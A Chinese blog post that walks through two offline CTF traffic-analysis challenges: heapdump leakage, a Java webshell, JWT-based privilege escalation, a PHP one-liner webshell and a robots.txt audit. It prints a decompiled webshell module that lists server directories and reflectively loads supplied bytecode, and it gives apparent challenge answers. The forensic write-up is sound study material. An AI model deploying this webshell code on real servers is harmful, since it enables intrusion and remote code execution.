古法流量分析1

现在线上的比赛很少出流量分析题目了,可能是流量分析太容易被ai秒了。但我觉得古法流量分析还是得掌握的,常见的webshell识别、写python脚本批量处理等等。不然到线下就只能瞪着满屏的数据包发呆了(如果你有mac当我没说)。这里来复盘两道线下流量分析的题目。

答案不保真,因为我也不知道正确答案。

第一题

这种题目基本上只需要关注http流量,先全过滤出来

很明显一开始在进行目录爆破,可以从http对象列表中查看扫到了哪些文件

这里扫到了heapdump,有38mb,如果你熟悉渗透的话,应该知道这是网站存在heapdump泄露。

这里先介绍一下什么是heapdump:Heapdump 是一种用于捕获 Java 虚拟机(JVM)内存快照的工具,通常用于调试和分析内存问题。然而,在某些情况下,heapdump 文件可能会泄露敏感信息,如明文密码、访问密钥等,从而导致安全漏洞。可以通过访问 Springboot 应用的/actuator/heapdump 端点来下载 heapdump 文件。

先下载下来继续往后分析,攻击者访问了多次login,很像是上传的木马

base64解密后可以发现是java的class文件,需要反编译

用工具反编译得到java代码,这里执行了这三条命令,探测一下当前的环境,和返回包的结果对上了

继续看后面的包,这是第二个包和反编译后的代码

可以发现开头多了le5e89ef477bd5这个参数,直接base64解码会发现是乱码,说明进行了某些混淆,我们来分析一下源码

le5e89ef477bd5对应的是var5,先看decode这个函数,它先取了一个randomPrefix,在这里固定为2,然后以2开头取var5的子串,解码后是/app/。然后调用FileTreeCode函数,也就是列出指定目录下的内容。le5e89ef477bd5应该就是第一问的密钥了。

package filemanager;

import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.text.SimpleDateFormat;
import java.util.Date;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class Dir {
    public HttpServletRequest request = null;
    public HttpServletResponse response = null;
    public String encoder = "base64";
    public String cs = "UTF8";
    public String randomPrefix = "2";
    public String decoderClassdata;

    public boolean equals(Object var1) {
        this.parseObj(var1);
        this.cs = String.valueOf(Charset.forName(System.getProperty("sun.jnu.encoding")));
        StringBuffer var2 = new StringBuffer();
        String var3 = "72b04ba";
        String var4 = "f6bd7a";
        String var5 = "le5e89ef477bd5";
        String var6 = "qd60a87706e033";

        try {
            this.response.setContentType("text/html");
            this.request.setCharacterEncoding(String.valueOf(this.cs));
            this.response.setCharacterEncoding(String.valueOf(this.cs));
            String var7 = this.decode(this.request.getParameter(var5));
            this.decoderClassdata = this.decode(this.request.getParameter(var6));
            var2.append(this.FileTreeCode(var7));
        } catch (Exception var9) {
            var2.append("ERROR:// " + var9.toString());
        }

        try {
            this.response.getWriter().print(var3 + this.asoutput(var2.toString()) + var4);
        } catch (Exception var8) {
        }

        return true;
    }

    public String decode(String var1) throws Exception {
        boolean var2 = false;

        try {
            int var5 = Integer.parseInt(this.randomPrefix);
            var1 = var1.substring(var5);
        } catch (Exception var4) {
            var2 = false;
        }

        return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
    }

    public String FileTreeCode(String var1) throws Exception {
        File var2 = new File(var1);
        File[] var3 = var2.listFiles();
        String var4 = "";
        String var7 = "";
        SimpleDateFormat var9 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

        for(int var10 = 0; var10 < var3.length; ++var10) {
            Date var8 = new Date(var3[var10].lastModified());
            String var5 = var9.format(var8);
            String var6 = var3[var10].canRead() ? "R" : "-";
            var6 = var6 + (var3[var10].canWrite() ? "W" : "-");

            try {
                var6 = var6 + ((Boolean)var3[var10].getClass().getMethod("canExecute").invoke(var3[var10]) ? "X" : "-");
            } catch (Exception var12) {
                var6 = var6 + "-";
            }

            String var11 = var3[var10].getName();
            if (var3[var10].isDirectory()) {
                var4 = var4 + var11 + "/\t" + var5 + "\t" + var3[var10].length() + "\t" + var6 + "\n";
            } else {
                var7 = var7 + var11 + "\t" + var5 + "\t" + var3[var10].length() + "\t" + var6 + "\n";
            }
        }

        var4 = var4 + var7;
        return var4;
    }

    public void parseObj(Object var1) {
        if (var1.getClass().isArray()) {
            Object[] var2 = (Object[])((Object[])var1);
            this.request = (HttpServletRequest)var2[0];
            this.response = (HttpServletResponse)var2[1];
        } else {
            try {
                Class var9 = Class.forName("javax.servlet.jsp.PageContext");
                this.request = (HttpServletRequest)var9.getDeclaredMethod("getRequest").invoke(var1);
                this.response = (HttpServletResponse)var9.getDeclaredMethod("getResponse").invoke(var1);
            } catch (Exception var8) {
                if (var1 instanceof HttpServletRequest) {
                    this.request = (HttpServletRequest)var1;

                    try {
                        Field var3 = this.request.getClass().getDeclaredField("request");
                        var3.setAccessible(true);
                        HttpServletRequest var4 = (HttpServletRequest)var3.get(this.request);
                        Field var5 = var4.getClass().getDeclaredField("response");
                        var5.setAccessible(true);
                        this.response = (HttpServletResponse)var5.get(var4);
                    } catch (Exception var7) {
                        try {
                            this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(var1);
                        } catch (Exception var6) {
                        }
                    }
                }
            }
        }

    }

    public String asoutput(String var1) {
        try {
            byte[] var2 = this.Base64DecodeToByte(this.decoderClassdata);
            Method var3 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            var3.setAccessible(true);
            Class var4 = (Class)var3.invoke(this.getClass().getClassLoader(), var2, 0, var2.length);
            return var4.getConstructor(String.class).newInstance(var1).toString();
        } catch (Exception var5) {
            return var1;
        }
    }

    public byte[] Base64DecodeToByte(String var1) {
        Object var2 = null;
        String var3 = System.getProperty("java.version");

        try {
            Class var4;
            byte[] var7;
            if (var3.compareTo("1.9") >= 0) {
                var4 = Class.forName("java.util.Base64");
                Object var5 = var4.getMethod("getDecoder").invoke((Object)null);
                var7 = (byte[])((byte[])var5.getClass().getMethod("decode", String.class).invoke(var5, var1));
            } else {
                var4 = Class.forName("sun.misc.BASE64Decoder");
                var7 = (byte[])((byte[])var4.getMethod("decodeBuffer", String.class).invoke(var4.newInstance(), var1));
            }

            return var7;
        } catch (Exception var6) {
            return new byte[0];
        }
    }
}

所以对于第二问,我们只需要关注前面的参数,看看里面是否有压缩的命令

最终在流364中找到了

所以压缩包的密码是7b3b0302e25b01bf8a82add7b4ab6041

压缩包里有customers.db文件,分析一下。有两张表,但都被加密了,结合题目是信封加密。

信封加密简单来说就是用一把 “数据密钥” 加密真正的数据,再用另一把 “根密钥” 把这把数据密钥本身加密保存。 密钥分两层,被加密的数据密钥和密文一起存放,像装进信封一样,所以叫 “信封”。

三把数据密钥DEK存在key_store中,KEK应该在heapdump中泄露了,所以解密流程如下

① 取出被 KEK 加密的 DEK
② 用 KEK 解密  ──> 得到明文 DEK
③ 用 DEK 解密业务数据  ──> 明文

解密脚本这里就不放了,感兴趣的可以自己研究一下。

第二题

查找越权,先过滤出和越权相关的包,这里很明显是/api/userinfo

数据包中的Authorization是jwt,应该包含了查询人的身份信息,而uid代表要查询的人,将jwt解码看一下

jwt中有两条信息,第一条是查询者的uid,第二条是is_admin。所以现在的思路就很简单了,将所以jwt都提取出来,解码后找出is_admin为false且jwt中的uid与查询的uid不同的就是越权账号。

把数据包导出为json,处理一下

cat userinfo.json | grep -E "Bearer|\"json.object\"" | awk -F ':' '{print $3}'

还是有点瑕疵,把没用的字符替换为空,最终得到

写个脚本解密一下jwt

import sys, base64, json

path = "./1.json"
lines = open(path, encoding='utf-8').read().splitlines()

for i in range(0, len(lines), 3):             
    raw = lines[i]
    keep_comma = raw.rstrip().endswith(',')    
    token = raw.strip().rstrip(',').strip()
    payload = token.split('.')[1]             
    payload += '=' * (-len(payload) % 4)       
    data = json.loads(base64.urlsafe_b64decode(payload))
    lines[i] = json.dumps(data, ensure_ascii=False) + (',' if keep_comma else '')

open(path, 'w', encoding='utf-8').write('\n'.join(lines))

import sys, json

path = '1.json'
lines = open(path, encoding='utf-8').read().splitlines()
offenders = set()

for i in range(0, len(lines), 3):                          
    data = json.loads(lines[i].strip().rstrip(','))       
    body_uid = int(lines[i + 1].strip().rstrip(','))       
    if data['is_admin'] is False and data['uid'] != body_uid:
        offenders.add(data['uid'])
        print('越权: 账号', data['uid'], '查询', body_uid)

ans = sorted(offenders)
print('最终答案:', '-'.join(map(str, ans)))

第二问是找恶意代码,http对象中有i.php这个文件,下载下来

是phpinfo的页面,改成.html查看

不难发现在auto_prepend_file中有一段奇怪的base64,解码一下

是一句话木马,所以密码是0a724c189fd0dfecb3a8c927ca32dc20

第三问先导出robots.txt,再根据disallow和Crawl-delay的值写脚本处理,感觉完全手工写的话太费时间了,也不太能在比赛时间中写出来,可以让本地ai写个脚本帮忙。

这个脚本并不是重点,主要是你得有解决问题的思路

import re, datetime
from collections import defaultdict

ROBOTS = r'robots.txt'
ACCESS = r'access.log'

# ===== 1. 解析 robots.txt =====
groups = []
for block in open(ROBOTS, encoding='utf-8').read().split('\n\n'):
    agents, rules, delay = [], [], None
    for ln in block.splitlines():
        if ':' not in ln:
            continue
        k, v = ln.split(':', 1)
        k, v = k.strip().lower(), v.strip()
        if k == 'user-agent':
            agents.append(v.lower())
        elif k == 'allow' and v:
            rules.append((True, v))
        elif k == 'disallow' and v:
            rules.append((False, v))
        elif k == 'crawl-delay':
            delay = float(v)
    groups.append({'agents': agents, 'rules': rules, 'delay': delay})

def rule_regex(pattern):
    end = pattern.endswith('$')                       # $ = 必须结尾
    p = pattern[:-1] if end else pattern
    rx = '^' + ''.join('.*' if c == '*' else re.escape(c) for c in p)
    return re.compile(rx + ('$' if end else '.*'))

def select_group(ua):
    low = ua.lower()
    hit = [g for g in groups if '*' not in g['agents']
           and any(a in low for a in g['agents'])]    # 具名组:子串匹配
    if hit:                                           # 具名优先于 *
        return sorted(hit, key=lambda g: max(map(len, g['agents'])), reverse=True)[0]
    return next(g for g in groups if '*' in g['agents'])

def path_disallowed(g, path):
    best = None
    for allow, pattern in g['rules']:
        if rule_regex(pattern).match(path):
            L = len(pattern)
            if best is None or L > best[0] or (L == best[0] and allow):
                best = (L, allow)                     # 最长优先,同长 Allow 胜
    return best is not None and not best[1]

# ===== 2. 解析日志,判路径违规 + 收集时间序列 =====
log_pat = re.compile(
    r'(\S+) \S+ \S+ \[([^\]]+)\] "\S+ (\S+?) [^"]*" \d+ \S+ "[^"]*" "([^"]*)"')
path_viol = set()
buckets = defaultdict(list)

for idx, line in enumerate(open(ACCESS, encoding='utf-8')):
    m = log_pat.match(line)
    ip, ts, path, ua = m.group(1), m.group(2), m.group(3), m.group(4)
    t = datetime.datetime.strptime(ts, '%d/%b/%Y:%H:%M:%S %z').timestamp()
    g = select_group(ua)
    if path_disallowed(g, path):
        path_viol.add(idx)
    if g['delay'] is not None:                        # 仅具名组有 delay
        buckets[(ip, ua)].append((t, idx))

# ===== 3. 频率违规:同一IP+UA,相邻间隔 < delay =====
freq_viol = set()
for (ip, ua), seq in buckets.items():
    seq.sort()
    delay = select_group(ua)['delay']
    for a, b in zip(seq, seq[1:]):
        if b[0] - a[0] < delay:
            freq_viol.add(b[1])

# ===== 4. 合并去重 =====
both = path_viol & freq_viol
total = len(path_viol) + len(freq_viol) - len(both)
print('路径违规:', len(path_viol))
print('频率违规:', len(freq_viol))
print('两类重叠:', len(both))
print('最终违规总数:', total)

posted @ 2026-11-01 20:32  leee0  阅读(14)  评论(0)    收藏  举报